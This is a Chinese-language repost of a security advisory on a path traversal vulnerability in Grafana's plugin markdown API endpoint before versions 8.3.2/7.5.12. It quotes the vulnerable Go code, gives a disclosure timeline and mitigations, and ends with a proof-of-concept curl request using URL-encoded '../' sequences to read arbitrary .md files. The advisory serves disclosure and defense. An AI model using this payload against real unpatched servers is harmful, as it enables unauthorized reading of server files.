目录导航
漏洞描述
Grafana 是一个用于监控和可观察性的开源平台。8.3.2 和 7.5.12 版本之前的 Grafana 包含完全小写或完全大写 .md 文件的目录遍历漏洞。该漏洞的范围有限,仅允许经过身份验证的用户访问扩展名为 .md 的文件。Grafana Cloud 实例并未受到该漏洞的影响。用户应升级到修补版本 8.3.2 或 7.5.12。对于无法升级的用户,在 Grafana 前运行反向代理来规范化请求的 PATH 将缓解该漏洞。代理还必须能够处理 url 编码的路径。或者,对于完全小写或完全大写的 .md 文件,用户可以阻止 /api/plugins/.*/markdown/.* 而不会丢失内联插件帮助文本之外的任何功能。
协调披露时间表
- 2021-12-09:报告发送至 [email protected]
- 2021-12-09:问题已确认
- 2021-12-10:问题已修复
概括
Grafana REST API 中发现路径遍历漏洞
产品
Grafana
测试版
v8.3.1
细节
路径遍历 ( GHSL-2021-1053
)
该GetPluginMarkdown
请求处理程序是脆弱的路径遍历攻击。
func (hs *HTTPServer) GetPluginMarkdown(c *models.ReqContext) response.Response {
pluginID := web.Params(c.Req)[":pluginId"]
name := web.Params(c.Req)[":name"] // [1]
content, err := hs.pluginMarkdown(c.Req.Context(), pluginID, name) // [2]
if err != nil {
var notFound plugins.NotFoundError
if errors.As(err, ¬Found) {
return response.Error(404, notFound.Error(), nil)
}
return response.Error(500, "Could not get markdown file", err)
}
// fallback try readme
if len(content) == 0 {
content, err = hs.pluginMarkdown(c.Req.Context(), pluginID, "readme")
if err != nil {
return response.Error(501, "Could not get markdown file", err)
}
}
resp := response.Respond(200, content) // [5]
resp.SetHeader("Content-Type", "text/plain; charset=utf-8")
return resp
}
请求处理程序映射到/plugins/:pluginId/markdown/:name
端点在pkg/api/api.go
:
apiRoute.Get("/plugins/:pluginId/markdown/:name", routing.Wrap(hs.GetPluginMarkdown))
即使此端点需要身份验证,任何低权限用户(例如:)VIEWER
都可以滥用此漏洞来读取服务器中的任意 Markdown 文件。

不受信任的数据在 [1] 处进入应用程序,然后pluginMarkdown
在 [2] 处传递给应用程序。
func (hs *HTTPServer) pluginMarkdown(ctx context.Context, pluginId string, name string) ([]byte, error) {
plugin, exists := hs.pluginStore.Plugin(ctx, pluginId)
if !exists {
return nil, plugins.NotFoundError{PluginID: pluginId}
}
// nolint:gosec
// We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based
// on plugin the folder structure on disk and not user input.
path := filepath.Join(plugin.PluginDir, fmt.Sprintf("%s.md", strings.ToUpper(name))) // [3]
exists, err := fs.Exists(path)
if err != nil {
return nil, err
}
if !exists {
path = filepath.Join(plugin.PluginDir, fmt.Sprintf("%s.md", strings.ToLower(name)))
}
exists, err = fs.Exists(path)
if err != nil {
return nil, err
}
if !exists {
return make([]byte, 0), nil
}
// nolint:gosec
// We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based
// on plugin the folder structure on disk and not user input.
data, err := ioutil.ReadFile(path) // [4]
if err != nil {
return nil, err
}
return data, nil
}
然后任意name
附加.md
扩展名并连接到plugin.PluginDir
[3]。最后,文件的内容在 [4] 处被读取并返回到调用函数,在 [5] 处的 HTTP 响应中返回它们
影响
此问题可能会导致任意.md文件泄露。
poc
- 在 docker 容器上启动 Grafana 8.3.1:
docker run -d -p 3000:3000 --name grafana grafana/grafana-oss:8.3.1
- 访问
localhost:3000
,并使用admin
/admin进行身份验证 - 创建一个用密码
VIEWER
调用的新用户foofooo
/tmp/foo.md
使用任意内容创建- 请求
/tmp/foo.md
使用
curl http://localhost:3000/api/plugins/alertlist/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2ffoo -u foo:fooo
CVE
- CVE-2021-43813
- CVE-2021-43815
资源
得分
此问题由 GHSL 团队成员@pwntester (Alvaro Muñoz)发现并报告。
接触
您可以通过 联系 GHSL 团队[email protected]
,请GHSL-2021-1053
在有关此问题的任何通信中提供参考。
转载请注明出处及链接